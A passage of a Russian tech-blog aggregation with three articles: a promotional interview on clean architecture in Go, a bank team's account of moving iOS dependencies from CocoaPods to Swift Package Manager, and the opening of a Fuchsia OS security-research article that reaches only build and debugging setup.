Чистая архитектура на Go: плюсы и минусы

15-17 июля в Слёрм пройдёт практический интенсив «Чистая архитектура приложения на Go». Мы пообщались с его автором Николаем Колядко, Senior Go Backend в Robovoice. Он рассказал, что такое чистая архитектура и какие проблемы она помогает решить. А ещё разобрал основные плюсы и минусы такого подхода к разработке приложений.

Что такое чистая архитектура

Чистая архитектура — это способ организации кода, который способствует строгому разделению ответственности. Приложение разбивается на независимые функциональные компоненты, которые взаимодействуют друг с другом определённым способом, при этом между ними передаются только те ресурсы, которые необходимы для выполнения поставленной задачи. Это помогает минимизировать сложность каждого компонента,  снижает вероятность ошибок и ускоряет их устранение при выявлении.

Как и любой архитектурный подход, чистая архитектура сама по себе не уберегает от написания плохого кода. Чтобы она упрощала жизнь, ты должен осознанно следовать её принципам. 

Плюсы чистой архитектуры

На проекте с плохой архитектурой задачу, которую можно решить за час, ты делаешь две недели, а потом ещё чинишь полгода, потому что у тебя много лишних зависимостей. Чистая архитектура убирает лишние зависимости и собирает главную функциональность приложения в одном месте — в домене. Функциональность в домене независима, за счёт чего её проще тестировать. Плюс, обособленный домен помогает быстрее искать ошибки и неточности, упрощает написание тестов. 

В чистой архитектуре сценарии приложения (use case) описаны отдельно. Именно они определяют, какие сторонние сервисы нам понадобятся. Благодаря этому мы получаем больше свободы в выборе инструментов и можем подстраивать внешний мир под свои нужды, а не наоборот. 

Удобство тестирования, независимость от фреймворков, баз данных и UI — вот основные плюсы чистой архитектуры. 

Какие проблемы решает чистая архитектура 

Если у тебя маленькое приложение, написанное на коленке, ты легко обойдёшься и без сложных архитектурных решений. Чистая архитектура нужна на больших проектах — она упорядочивает многочисленные папки с кодом и позволяет быстро в них ориентироваться. 

Проблемы, которые решает чистая архитектура:

  • Проблема реализации. Первый симптом, что пора внедрять чистую архитектуру, — тебе нужно вносить изменения, а ты боишься, потому что не знаешь, к чему это приведёт. Я неоднократно становился свидетелем ситуации, когда люди с опаской добавляли новую функциональность в проект, а потом что-то реально ломалось. Чистая архитектура как раз позволяет избавиться от такого страха и сделать процесс внесения изменений более предсказуемым и управляемым. 

  • Проблема расширения. Предположим, тебе нужно сделать голосовой помощник, который бы распознавал ответы клиентов и продолжал диалог. Но идея звукового распознавания ничем не отличается от распознавания ответов клиентов в чате. А такой процесс у тебя уже настроен для Telegram. Хорошим архитектурным решением является создания ядра принятия решений, к которому будут подключаться другие сервисы, которые работают с конкретным каналом связи. Так, логика принятия решения будет находится в одном месте, поэтому её не нужно переписывать с нуля.

Минусы чистой архитектуры

На мой взгляд, основной минус чистой архитектуры в том, что тебе нужно писать больше кода. Допустим, ты хочешь настроить получение контактов из базы данных. Ты можешь написать метод, который обратится к библиотеке, сделать там небольшой select и задать ID-шник. Затем отправить данные на front, и это будет что-то около 200 строк. 

В чистой архитектуре тебе сначала нужно сделать папку со слоем delivery, который будет принимать данные от front. Затем описать данные, которые должен прислать front, и вызвать слой use case. Use case проведёт валидацию, вызовет метод обращения к базе, и только после этого ты сможешь получить данные.

Ещё один минус — высокий порог входа. Продумать взаимодействие всех модулей системы довольно сложно, а для новичков это и вовсе непосильная задача. 

Как удержать проект в рамках чистой архитектуры

С одной стороны, если ты начинаешь проект с чистой архитектуры, в нём сложно что-то сломать. С другой стороны, уже в процессе сопровождения проекта кто-то может поменять логику. Скажем, перенести валидацию полей, которая задаётся клиентом, на слой с базой данных. Единственный вариант контролировать и отслеживать это — код-ревью от более опытного коллеги. 

На мой взгляд, важно разобраться в основах слоёв. Дальше ты уже поймёшь, как все раскидывать, и начнёшь делать это на автомате.

Для тех, кто хочет разобраться в слоях и понять, что такое чистая архитектура приложения на Go

Мы запускаем новый практический интенсив «Чистая архитектура приложения на Go», который пройдет 15-17 июля. 

За три дня вы изучите, что такое чистая архитектура на языке Golang, и под руководством спикера создадите сервис по работе с контактами и возможностью их группировки.

Будет полезно junior-разработчикам на Go и опытным разработчикам, которые переходят на Go с других языков.

Ознакомиться с программой и записаться: https://slurm.club/3y5g7SR

 


ссылка на оригинал статьи https://habr.com/ru/company/southbridge/blog/674440/

Приключение на 5 минут: как мы переводили все зависимости на SPM

Привет, Хабр!

Меня зовут Вильян Яумбаев, в этой статье я расскажу вам про наши приключения на пути к SPM.

В 2015 ПСБ начал разрабатывать проект для бизнеса. Для него, в свою очередь, было нужно приложение. Сперва всё находилось в одном репозитории одного проекта в одном воркспейсе. Первые авторы подключали сторонние зависимости через CocoaPods, поскольку проприетарного менеджера зависимостей ещё не существовало. Но в тот же год в Apple началась работа над Swift Package Manager. Им предстояло встретиться в нашем проекте.

В этой статье расскажу, через что мы прошли, переводя зависимости на SPM, и поделюсь нашими наработками.

Пора меняться

Изначально код проекта состоял из Objective-C. Затем разработчики перешли на Swift, но древний код атлантов никто не переписывал, ибо работает — не трогай. Количество разработчиков увеличивалось с каждым годом.

Пришло время, и к проекту присоединился автор этого текста. «Пора меняться», — вот что вспыхнуло в моей голове, когда я взглянул на проект. Тогда я увидел его ужасное будущее, уготованное ему историей Git’а, конфликтами слияния и ежесекундным обновлением мастер-ветки. Оставался лишь один путь избежать этой участи — взять курс на модульность.

Первый модуль

Главными вопросами стали «С чего начать?» и «Где взять время?». У всех нас были в работе собственные бизнес-юниты. Нужно было договориться о времени на такого рода задачи. В итоге решили, что на технические задачи уйдёт 20% времени каждый спринт, два дня в спринт.

Чтобы определиться, собрался совет верховных магов iOS-технологий. Ответ был взвешенным и давал надежду на дальнейшую жизнь проекта: начнём с простого и постепенно будем переходить к сложному.

Мы сформировали стратегию. Она подразумевала, что у нас будут общие модули утилит, а также основные продуктовые модули, относящиеся к конкретному бизнес-функционалу. Но для того, чтобы разделить проект на такие фреймворки, нужно сначала вынести все их зависимости.

Мы начинали с xcodeproj для отдельных модулей, чтобы со временем перейти на менеджер зависимостей. Первым стал CoreNetwork как самостоятельная единица — пример того, что проект ещё можно спасти, если двигаться в этом направлении. Тогда, 19 ноября 2019, был взят курс на перестройку монолитного проекта ПСБ в модульную систему. Мы представляли, какой объём работ нас ожидает, но не страшились его: если не преодолевать трудности, то зачем вообще писать код?

При выносе первого модуля без проблем не обошлось: проект был написан на Swift и на Objective-C. И если с первым было всё просто, то со вторым пришлось изрядно попотеть.

После выноса первого модуля мы выработали определённые прикладные практики по выносу модулей, по разделению функционала, по решению проблем, связанных с выносом. Модули полились рекой — или ручейком, маленьким и узким — и спустя год мы уже имели восемь общих и одиннадцать продуктовых фреймворков. Мы создали иерархию модулей по уровням  L0, L1, L2 и так далее, установив такое правило: модуль может иметь зависимость только на модули уровнями ниже, чтобы граф зависимостей не был цикличен. Чтобы удобно просматривать их, в Xcode workspace завели группы: L0, L1, L2 и так далее.

Менеджер зависимостей для мультирепозитория

Ещё в начале процесса мы поставили цель: разнести все модули в отдельные репозитории. Когда количество модулей более-менее устаканилось, начали думать в эту сторону. Вариантов было немного:

Git Submodules: до боли простой в использовании, но не совсем удобен в разработке, да и особой практики в использовании нет.

Carthage: у нас не было практики использования в проекте и казалось переходить на него будет не просто. Опять же, не было практики.

CocoaPods: хороший кандидат, но есть сложности с версионированием. Наши модули находятся в приватных репозиториях, а для того, чтобы устроить нормальное версионирование приватных репозиториев, нужно завести приватный репозиторий со спеками. Это и есть проблема: при выходе новой версии модуля мало отправить новую версию в репозиторий самого фреймворка, нужно ещё обновить её в репозитории со спеками. А ещё есть сложность с отладкой монолита приложения, когда надо проверить локальные изменения кода на лету. Для этого придётся изменять Podfile, проводить pod install и потом не забыть вернуть всё обратно.

SPM: наш вариант, на который хотелось бы перейти, «пока не поздно». Те же преимущества, что и у CocoaPods, и нет проблем с выпуском: очень простая отладка мультирепозиторного приложения и всё версионирование идёт по тегам в Git’е. Для проверки локальных изменений достаточно папку с модулем переместить в workspace приложения, и можно редактировать модуль и отлаживать его на лету. Так же просто вернуть всё как было — удалить модуль из воркспейса, и подтянется версия из Git’а.

Из этих менеджеров зависимостей мы очень хотим перейти именно на SPM. О нём задумывались ещё в начале 2020 года, но у него были сложности с поддержкой Objective-C кода и ресурсов. Со временем SPM решил их.

SPM vs CocoaPods

В начале 2021 года по заверениям команды SPM и по опыту других компаний, проблема с Objective-C решена, и даже можно включить ресурсы в содержимое пакета. Эта фича нам необходима для модуля дизайн-системы, так как в ней находятся переиспользуемые картинки. Представим, что SPM — это бутерброд в прозрачном контейнере, и попробуем его на вкус.

Начинаем с небольшого модуля с утилитными объектами, которые используются по всему проекту. Называем его PSBCore (или просто корой). Пробуем его перевести на SPM. Для перевода модуля xcodeproj в SPM получился небольшой shell сниппет:

module="PSBCore"; \  swift package init; \  rm -rf "Sources/$module/$module.swift"; \  rm -rf "Sources/${module}Tests/${module}Tests.swift"; \  cp -rf $module Sources; \  rm -rf $module; \  cp -rf ${module}Tests Tests; \  rm -rf ${module}Tests;

Пробуем собрать сам пакет — всё ок, компилируется. У нас модули были пролинкованы вручную, поэтому с новым SPM-пакетом надо проделать то же самое — вручную пролинковать во все модули, в которых используется PSBCore.

Собираем монолит — не работает. Пишет про ошибки «Module ‘PSBCore’ not found», при этом ошибка указывает на генерируемые файлы Module-Swift.h — там, где в строчках идёт импорт библиотеки @import PSBCore. Module-Swift.h нам нужны, поскольку в проекте Swift + ObjC.

Неужели проблема с Objective-C не решена? И почему он жалуется именно на импорт PSBCore?

На руках имеем такую картину: SPM на 100% работает с кодом ObjC, так как у коллег из розничного приложения ПСБ есть целый SPM-пакет на ObjC. Но у них полноценный пакет на ObjC и там нет смешивания Swift + ObjC. Значит, SPM может в ObjC — это выяснили.

Следующий момент: в одном из продуктовых модулей приложения для юридических лиц одна из внутрибанковских библиотек через SPM уже подключена, при этом компилятор на неё не жалуется. Хм. Значит, проблема не в SPM и не в Objective-C.

На скорую руку делаем вывод, что SPM не работает в проектах со смешанными языками, и убеждаемся в этом, погуглив свои проблемы, правда ссылки не первой свежести, но и не протухшие. Обижаемся на SPM, бросаем его и держим в голове мысль о том, чтобы написать гневную статью про то, какие Apple плохие.

Возвращаемся к CocoaPods

Роем в сторону приватного репозитория с подспеками. Вроде ничего сверхъестественного.

  • Да, нужно каждую версию деплоить в репозиторий со спеками.

  • Да, это сложнее, чем просто поставить тег на мастер-ветку, как в SPM.

  • Да, придётся повозиться с удалением или перезаписью версии, если что-то пошло не так.

Есть перечень минусов CocoaPods, в которых он проигрывает SPM по удобству, но мы уже выяснили, что SPM не работает в проектах со смешанными языками (спойлер — это не так). Уже смирились, что возвращаемся в каменный век, где описание зависимостей проводится на Ruby в CocoaPods, и тут сталкиваемся с ещё одной проблемой, которая важна для нас — версионирование подов для разных релизов. Перед этим рассмотрим, как проходит контроль версий.

Про версионирование в релизном цикле

Начнём с простого примера. Когда мы просто выпускаем версию приложения в релиз, у нас проект разбит на модули, и модули находятся в своих отдельных репозиториях. Каждый модуль следует правилам семантического версионирования: разработчики повышают мажорную версию, если ломается обратная совместимость модуля. Когда мы фиксируем версию приложения, нам нужно в том числе зафиксировать версии всех модулей, потому что если этого не сделать и версия какого-то модуля обновится, то в релиз может уйти код, не предназначенный для текущего релиза.

В ведении мультирепозиторных модулей есть нюанс: если мы переходим на новую мажорную версию для модуля нижнего ранга, то нужно обновить до новой версии все модули вплоть до самого верхнего. Представим такую ситуацию:

В такой диаграмме зависимостей, если номер версии в модуле А подняли до 2.0.0, нам придётся все связи upToNextMajor* тоже поднять до 2.0.0 — для каждой связи. Даже если мы внесли изменения в модуль А, которые хотели использовать в модуле С, а для модуля В они не нужны.

* upToNextMajor обозначает правило связи между модулями. upToNextMajor 1.0.0 от модуля B к модулю A обозначает, что модуль B может использовать все версии модуля A до следующей мажорной версии 2.0.0.

Иначе граф не скомпилируется, так как в конечном итоге приложение не может использовать одновременно две версии модуля. Соответственно нам необходимо в модуле В теперь тоже поддержать новую версию 2.0.0. Теперь, поскольку мы используем новую, обратно несовместимую версию, для модуля В мы тоже поднимаем номер версии — и так до самой вершины графа, до приложения.

В конечном итоге для того, чтобы внести мажорные изменения в модули нижнего порядка, нам нужно пройтись по всему графу и использовать новую версию везде.

Это не плохо, а даже наоборот хорошо, потому что в любой момент времени наше приложение будет компилироваться. Например, версии наших модулей уже дошли до 10.0.0. И если мы захотим вернуться к старой версии приложения, построенной на старых модулях, оно у нас без проблем соберётся: граф всегда будет валиден. Этим и прекрасно семантическое версионирование.

Контроль кода, уходящего в релиз

Представим, что у нас есть те же модули А, В, С и приложение. Мы провели фиксацию приложения по всем модулям, и связи изменились. Назовём этот релиз Alpha.

При фиксации релиза нам нужно закрепить версии пакетов, используемые в проекте. Делать это лучше напрямую в зависимостях приложения. Какие связи мы установим в приложении, такие и будут использоваться во всём проекте. Мы указали версию модуля А exact 1.0.0 — значит, даже если в нём будет повышена версия, модули С и В тоже будут использовать 1.0.0.

Теперь разработчики в своих модулях могут продолжать работу, поднимать версии, добавлять фичи для следующего релиза. Назовём его Beta. Затем в модуле А добавили крупные правки; номер его версии подняли до 2.0.0. Граф для обоих релизов корректный, для Alpha у нас используется модуль А 1.0.0, а для Beta — 2.0.0.

А теперь представим ситуацию, когда нам прилетел баг с регресс-тестирования Alpha. Нужны изменения в модуле А, но там небольшой фикс, который не ломает обратную совместимость. Нужно только поднять патчевую версию до 1.0.1. По GitLabFlow все изменения сначала делаются на мастер-ветке, и дальше фикс доносится до релизных веток. 

Делаем изменения в мастер-ветке модуля А, поднимаем версию до 2.0.1 (в мастер-ветке модуля уже была версия 2.0.0, а мы внесли наш багфикс). Но т.к. багфикс относится к релизу Alpha в котором нам не нужны изменения в коде из следующего релиза Beta, нам остаётся только создать новую ветку regress_Alpha в модуле А от версии 1.0.0 и уже на ней сделать багфикс. Ставить версию 1.0.1 на ветку regress_Alpha нельзя — в дальнейшем это приведёт к путанице. Нужно относится к версионированию как к Стеку, мы можем добавлять версии поверх последней, мы не можем добавлять версии в середину стека. Теперь расстановка версий выглядит примерно таким образом:

Повторяем то же самое во всех модулях, где понадобятся хотфиксы в релизе Alpha. Версии контролируются, функционал из Beta не попадает в Alpha.

Возвращаемся к CocoaPods

У нас двухнедельные релизы, и пока тестируется зафиксированный релиз, мы всегда работаем над следующим. Иногда бывает, что для разграничения функционала нужны дополнительные релизные ветки. Пример подобного — в предыдущем разделе статьи.
В таком случае в SPM можно ставить разные связи для разных репозиториев. То есть для модуля А поставили ветку, для других модулей просто зафиксировали конкретную версию. У SPM-пакетов есть особенность: в их описании можно ставить зависимости не только по версиям, но и по веткам и отдельным тегам. То есть в описании самого пакета мы можем устанавливать зависимости на конкретные ветки. В CocoaPods спеках так нельзя, в нём можно использовать только версии.

Pod::Spec.new do |s|   # package requirements   # Валидный вариант   s.dependency 'ModuleA', '~> 1.0'   # Невалидный вариант   s.dependency 'ModuleA', :branch => 'regress_Alpha', :git => 'https://link-to-git/modulea.git' end end

На самом деле такая запись и не нужна. В SPM-пакетах её тоже стоит избегать и всегда основываться на версиях, потому что и в SPM, и в CocoaPods мы задаём правила в самом приложении.

Для SPM это делается в настройках проекта в разделе Swift Packages, в CocoaPods же — внутри Podfile.

target 'Application' do   pod 'ModuleA', :branch => 'regress_Alpha', :git => 'https://link-to-git/modulea.git'  pod 'ModuleB', '1.0'   pod 'ModuleC', '1.0'  end 

Мирное соглашение SPM and CocoaPods

В качестве менеджеров зависимостей рассматриваем два варианта. CocoaPods нужен, потому что он был в проекте изначально. При этом SPM нам тоже совершенно необходимо поддерживать, потому что наши коллеги из приложения розничного банка используют только его. У нас есть два пути:

  1. Поддерживать и SPM, и CocoaPods для общих репозиториев.

  2. Переводить существующие зависимости на SPM.

Первый путь сложнее в поддержке и увеличивает нагрузку на разработчиков при внесении кода в пакеты: нужно проследить, что модуль работает в обоих менеджерах. Второй путь казался нам нерабочим, потому что не удавалось запустить SPM-пакеты из-за плохой работы в проектах со смешанными языками Swift + ObjC. Взглянем на второй путь пристальнее.

У нас уже есть выделенные продуктовые модули и общие модули сетевого слоя и дизайн-системой. Все эти модули организованы как проекты Xcode в виде динамических библиотек, и их как-то нужно перевести на SPM. Чтобы организовать рабочие модули в SPM, надо перевести на него все зависимые библиотеки: как наши локальные, так и внешние библиотеки свободного ПО. Если в них это не сделано, конечно же.

Вернёмся к PSBCore и его оформлению в виде SPM. В прошлый раз мы видели ошибки «Module ‘PSBCore’ not found» и подумали, что проекты со смешанными языками не будут работать.

Создав тестовый проект для воспроизведения ошибки и перебрав варианты, я нашел, что проблема возникает, когда есть как минимум три модуля. Модуль A — SPM-пакет. Модуль B — Xcodeproj модуль с зависимостью на модуля А и приложение, которое использует модули А и B одновременно.

И если в модуле А есть типы, которые могут быть доступны в ObjC (например, наследники NSObject, протоколы или enum’ы @objc), а в модуле B идёт наследование от этих типов из модуля А, мы получаем ошибку. Пример можно посмотреть в репозитории.

Ок, проблему поняли. Начинаем избавляться от наследования ObjC-классов. Но это непросто, потому что все базовые UIKit сущности — наследники NSObject, а в DSKit таких сущностей пруд пруди.

Наследование с некоторыми ухищрениями можно заменить композицией — таким путём мы и пошли, создав себе кучу задач по избавлению от наследования из-за ObjC. Но тут наш руководитель нашёл корень проблемы: если убрать публичный заголовок ObjC в модуле B, то проблема с наследованием уходит и можно спокойно переходить на SPM. В этом коммите можно посмотреть проделанные изменения.

Потом мы поймали другой баг, связанный с использованием смешанных языков. Например, у нас есть тип в модуле А или B, попадающий в ObjC. При использовании forward declaration в хедере ObjC-класса мы можем указать там этот тип. Например, в модуле А будет swift класс SwiftClassA наследник NSObject, в приложении будет ObjC-класс и в его заголовке будет объявлено @property SwiftClassA *swiftclass; .

Тогда в коде ObjC это свойство будет видно в полной мере, все другие классы ObjC смогут к нему обратиться, но в Swift оно будет недоступно. Я не понял, с чем это связано, и завел вопросы на Stack Overflow и Swift Forum. В этом коммите можно посмотреть, как выглядит ошибка.

Может быть, ко времени, когда вы это прочтёте, вопрос будет решён. Но я сомневаюсь: учитывая актуальность проблемы, а точнее её отсутсвие, в большинстве проектов, проще переписать на Swift, либо оставаться в монолите. Эту проблему удалось решить только смекалкой и переписыванием таких классов с ObjC на Swift.

Лайфхак такой: если у класса ObjC есть такие свойства, то их можно перенести в сущность Swift. Тогда они будут доступны как в ObjC, так и в Swift. Пример действий в этом коммите. Так же можно поступить с объявленными функциями ObjC, или поступить более радикально и переписать на Swift весь класс.

Мы засучили рукава и переписали все такие случаи. Было непросто: проект сыпал тысячами ошибок неясного происхождения, приходилось переписывать код и компилировать заново — не стало ли меньше ошибок. Справившись с этим, пошли дальше.

AFNetworking

Казалось, можно идти дальше, все беды позади, а дальше — радужные пони, смузи и все модули на SPM. Но эти мечты разбились об айсберг https://github.com/apple/swift/issues/57137 — linker error when code coverage is turned on for Swift Package with Objective-C code.

Пример, где добавляется Objc библиотека с выключенным ковераджем, в этом коммите. В нем все запускается и тестируется. А вот в этом коммите включаем коверадж для таргета тестов, и у нас появляется ошибка компиляции.

Ошибка выглядит таким образом:

Undefined symbols for architecture x86_64:   "___llvm_profile_runtime", referenced from:       ___llvm_profile_runtime_user in ObjcPackage.o ld: symbol(s) not found for architecture x86_64 clang: error: linker command failed with exit code 1 (use -v to see invocation)

Мы пишем тесты, учитываем их покрытие и на мердж реквестах учитываем это самое покрытие. Если привнесённый код ухудшает покрытие, то сливать ветки нельзя. Исключения бывают, но они редки. Основной поток задачи такой: пишешь код, потом пишешь тесты, пайплайн проверяет, что покрытие не ухудшилось, и пускает тебя в мастер-ветку.

Так вот, соль этого бага SPM: тесты не работают с включенным учётом покрытия, если одна из зависимостей — модуль на ObjC. Понятно, что код ObjC можно оборачивать в SPM-пакеты, но придётся отказаться от проверки покрытия. Это нас не устраивает. Что остаётся?

  1. Отключить учёт покрытия.

  2. Остановиться и бросить SPM.

  3. Отказаться от AFNetworking.

Первый неприемлем: теряем представление о покрытии тестами. Второй проигрышный априори, сдаться проще всего. Третий вариант непрост в реализации. У нас используется древняя версия AFNetworking 2.7.0, поэтому просто отказаться не получится, нужно перейти с него на что-то другое.

Идём сложным — третьим — путём и отказываемся от AFNetworking. Вы можете сказать, что это затратное решение, потому что сетевой слой пронизывает всё приложение. Но наши славные предки не просто подключили AFNetworking в проект, а сделали свою обёртку над сетевым слоем в виде CoreNetwork. Значит, мы сможем избавиться от него с большими усилиями: подменим реализацию работы с сетью внутри самого CoreNetwork.

Спойлер про ___llvm_profile_runtime

Как позже выяснилось, можно использовать Objc библиотеки с подсчетом ковераджа. Нагуглив похожую проблему, мы попробовали реализовать у себя этот подход на других Objc библиотеках, и у нас получилось. Что конкретно меняется — можно увидеть в этом коммите, в уже знакомом репозитории. Но переход от AFNetworking к своей реализации был обусловлен не только ошибкой компиляции при коверадже, поэтому переход все равно состоялся.

Можно было обратиться к готовым решениям, таким как Alamofire — или написать своё на URLSession. Выбрали второе. Про процесс переписывания и что нужно учитывать при разработке своего сетевого слоя, напишу позже в отдельной статье.

Мы уже переписали сетевой слой на свою реализацию. Кажется, дальше у нас карт-бланш на SPM во всём проекте.

Хотелось бы верить, но верится с трудом. Никогда не знаешь, что тебя ждёт в будущем: вдруг уже на следующем модуле появится новая проблема, которая всё сломает, и мы опять вернёмся на CocoaPods. Надеюсь, такого не случится. А отбросить эти сомнения мне помогает моя команда ПСБ.

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.
Какой менеджер зависимостей предпочитаете вы?
40% SPM 2
40% Cocoapods 2
0% Carthage 0
20% Свой вариант в комментариях 1
Проголосовали 5 пользователей. Воздержались 2 пользователя.

ссылка на оригинал статьи https://habr.com/ru/company/psb/blog/674406/

Fuchsia OS глазами атакующего

Прототип эксплойта в действии
Прототип эксплойта в действии

Fuchsia — это операционная система общего назначения с открытым исходным кодом, разрабатываемая компанией Google. Эта операционная система построена на базе микроядра Zircon, код которого написан на C++. При проектировании Fuchsia приоритет был отдан безопасности, обновляемости и быстродействию.

Как исследователь безопасности ядра Linux я заинтересовался операционной системой Fuchsia и решил посмотреть на нее с точки зрения атакующего. В этой статье я поделюсь результатами своей работы.

Краткое содержание

  • Обзор архитектуры безопасности операционной системы Fuchsia.

  • Сборка Fuchsia из исходного кода, создание и запуск простейшего приложения.

  • Микроядро Zircon: основы разработки ядра для Fuchsia, его отладка с помощью GDB.

  • Результаты моих экспериментов по эксплуатации уязвимостей в микроядре Zircon:

    • Попытки фаззинга.

    • Эксплуатация повреждения памяти C++-объекта.

    • Перехват потока управления в ядре.

    • Установка руткита в Fuchsia.

  • Демонстрация прототипа эксплойта.

Я придерживаюсь принципов ответственного разглашения информации, поэтому сообщил мейнтейнерам Fuchsia о проблемах безопасности, обнаруженных в ходе этого исследования.

Что такое Fuchsia OS

Fuchsia — это операционная система общего назначения с открытым исходным кодом. Компания Google начала ее разработку в 2016 году. В декабре 2020 года этот проект был открыт для внешних участников, а в мае 2021 года Google впервые выпустила Fuchsia на устройствах Nest Hub для управления умным домом. Операционная система поддерживает микроархитектуры arm64 и x86_64. Разработка Fuchsia сейчас находится в активной фазе, проект выглядит живым, поэтому я решил поэкспериментировать с ним.

Рассмотрим основные концепции, на которых базируется архитектура Fuchsia. Эта ОС разрабатывается для целого спектра устройств: IoT, смартфонов, персональных рабочих станций. Разработчики Fuchsia уделяют особое внимание ее безопасности и обновляемости. Как результат, эта операционная система имеет необычную архитектуру безопасности:

  • Главное — в Fuchsia отсутствует концепция пользователя. Вместо этого разграничение доступа в ней основано на разрешениях (capabilities). Приложениям в пользовательском пространстве ядро предоставляет свои ресурсы в виде объектов, доступ к которым требует соответствующих разрешений. Иными словами, приложение не может использовать ядерный ресурс без выданного разрешения. Все приложения в Fuchsia имеют минимальные привилегии, необходимые для выполнения задачи. Поэтому в системе с такой архитектурой атака для повышения привилегий отличается от того, к чему мы привыкли в GNU/Linux-системах, где атакующий исполняет код как непривилегированный пользователь и эксплуатирует некоторую уязвимость для получения привилегий суперпользователя.

  • Второй интересный аспект — Fuchsia является микроядерной ОС. Это во многом определяет ее свойства безопасности. По сравнению с ядром Linux большое количество функциональности вынесено из микроядра Zircon в пользовательское пространство. Это существенно уменьшает периметр атаки ядра. Ниже представлена схема из документации Fuchsia, которая демонстрирует, что Zircon выполняет значительно меньше функций по сравнению с классическими монолитными ядрами ОС. Вместе с тем разработчики Zircon не стремятся сделать его совсем крошечным: в нем реализовано 176 системных вызовов, что намного больше, чем обычно бывает в других микроядрах.

  • Еще одно архитектурное решение, которое влияет на безопасность системы, — это изоляция компонентов (sandboxing). Компонентами называются приложения и системные сервисы в Fuchsia. Каждый из них работает в изолированном окружении — песочнице (sandbox), и все межпроцессное взаимодействие (inter-process communication, IPC) между ними явно декларируется. В Fuchsia даже нет глобальной файловой системы. Вместо этого каждому компоненту выдается отдельное пространство для работы с файлами. Это архитектурное решение явно увеличивает изоляцию и безопасность программного обеспечения в пользовательском пространстве. Вместе с тем, на мой взгляд, это делает микроядро Zircon особенно интересной целью для атакующего, поскольку Zircon предоставляет интерфейсы системных вызовов всем компонентам операционной системы.

  • Наконец, Fuchsia имеет необычную схему доставки и обновления ПО. Приложения идентифицируются с помощью URL и скачиваются системой непосредственно перед их запуском. Такое архитектурное решение было выбрано для того, чтобы программные пакеты в Fuchsia всегда были в актуальном состоянии (наподобие веб-страниц).

Из-за перечисленных свойств безопасности Fuchsia я заинтересовался этой операционной системой и решил исследовать ее с точки зрения атакующего.

Первый запуск

В документации Fuchsia представлено хорошее руководство по быстрому старту. В нем дается ссылка на скрипт, который проверит, есть ли в вашей GNU/Linux-системе полный набор инструментов для разработки Fuchsia:

$ ./ffx-linux-x64 platform preflight

При запуске этот скрипт сообщает, что дистрибутивы, не родственные Debian, не поддерживаются. При этом я не заметил никаких проблем со сборкой Fuchsia на Fedora 34.

В документации также объясняется, как скачать исходный код Fuchsia и настроить переменные окружения, необходимые для компиляции. Вот команды, с помощью которых выполняется сборка системы в варианте workstation product для микроархитектуры x86_64:

$ fx clean $ fx set workstation.x64 --with-base //bundles:tools $ fx build

После сборки операционная система может быть запущена в эмуляторе FEMU (Fuchsia emulator). FEMU базируется эмуляторе Android (AEMU), который, в свою очередь, является форком QEMU.

$ fx vdl start -N

Создаем приложение для Fuchsia

Теперь давайте создадим простейшее приложение hello world для Fuchsia. Как я уже упоминал, программы для Fuchsia называются компонентами. Вот эта команда создает шаблон нового компонента на языке C++:

$ fx create component --path src/a13x-pwns-fuchsia --lang cpp

Компонент будет писать приветствие в системный журнал (Fuchsia log):

#include <iostream>  int main(int argc, const char** argv) {   std::cout << "Hello from a13x, Fuchsia!\n";   return 0; }

В манифесте компонента src/a13x-pwns-fuchsia/meta/a13x_pwns_fuchsia.cml должна быть разрешена работа с системным журналом:

program: {     // Use the built-in ELF runner.     runner: "elf",      // The binary to run for this component.     binary: "bin/a13x-pwns-fuchsia",      // Enable stdout logging     forward_stderr_to: "log",     forward_stdout_to: "log", },

Вот команды, которые собирают Fuchsia с новым компонентом:

$ fx set workstation.x64 --with-base //bundles:tools --with-base //src/a13x-pwns-fuchsia $ fx build

После компиляции мы можем протестировать систему с новым компонентом:

  1. Запускаем FEMU с помощью команды fx vdl start -N в первом терминале нашей GNU/Linux-системы.

  2. Запускаем сервер публикации пакетов Fuchsia во втором терминале с помощью команды fx serve.

  3. Выполнив команду fx log, открываем системный журнал Fuchsia в третьем терминале.

  4. Запускаем новый компонент в Fuchsia с помощью команды ffx в четвертом терминале:

$ ffx component run fuchsia-pkg://fuchsia.com/a13x-pwns-fuchsia#meta/a13x_pwns_fuchsia.cm --recreate

На снимке экрана можно увидеть, как Fuchsia нашла компонент по URL, загрузила его с сервера публикации пакетов и запустила. В результате компонент напечатал сообщение Hello from a13x, Fuchsia! в системном журнале, показанном в третьем терминале.

Обычный день разработчика Zircon

Теперь рассмотрим, какими инструментами пользуется разработчик микроядра Zircon в своей повседневной работе. Код Zircon на языке C++ является частью исходного кода Fuchsia и находится в директории zircon/kernel. Сборка микроядра происходит при компиляции Fuchsia. Для разработки и отладки требуется запускать Zircon в QEMU с помощью команды fx qemu -N, однако у меня система выдала ошибку при первом же выполнении команды:

$ fx qemu -N Building multiboot.bin, fuchsia.zbi, obj/build/images/fuchsia/fuchsia/fvm.blk ninja: Entering directory `/home/a13x/develop/fuchsia/src/fuchsia/out/default' ninja: no work to do. ERROR: Could not extend FVM, unable to stat FVM image out/default/obj/build/images/fuchsia/fuchsia/fvm.blk

Я обнаружил, что ошибка появляется, только если на системе настроена локаль, отличная от английской. Эта неполадка известна уже давно. Понятия не имею, почему имеющееся исправление до сих пор не принято в Fuchsia OS. С ним Fuchsia успешно стартует на виртуальной машине, созданной в QEMU/KVM:

diff --git a/tools/devshell/lib/fvm.sh b/tools/devshell/lib/fvm.sh index 705341e482c..5d1c7658d34 100644 --- a/tools/devshell/lib/fvm.sh +++ b/tools/devshell/lib/fvm.sh @@ -35,3 +35,3 @@ function fx-fvm-extend-image {    fi -  stat_output=$(stat "${stat_flags[@]}" "${fvmimg}") +  stat_output=$(LC_ALL=C stat "${stat_flags[@]}" "${fvmimg}")    if [[ "$stat_output" =~ Size:\ ([0-9]+) ]]; then

Запуск Fuchsia в QEMU/KVM позволяет выполнять отладку микроядра Zircon с помощью GDB. Вот как это выглядит на практике:

  1. Запускаем Fuchsia:

$ fx qemu -N -s 1 --no-kvm -- -s
  • Аргумент -s 1 задает количество процессорных ядер у виртуальной машины. Запуск с одним vCPU существенно упрощает работу с отладчиком.

  • Аргумент --no-kvm отключает аппаратную виртуализацию. Он полезен, если вам необходима пошаговая отладка (single-stepping). Без этого аргумента после каждой команды stepi или nexti отладчик будет проваливаться в обработчик прерывания, которое доставил гипервизор KVM. Однако, естественно, в режиме --no-kvm виртуальная машина с Fuchsia будет работать сильно медленнее, чем с аппаратной виртуализацией.

  • Аргумент -s в конце команды задействует gdbserver, который открывает сетевой порт 1234.

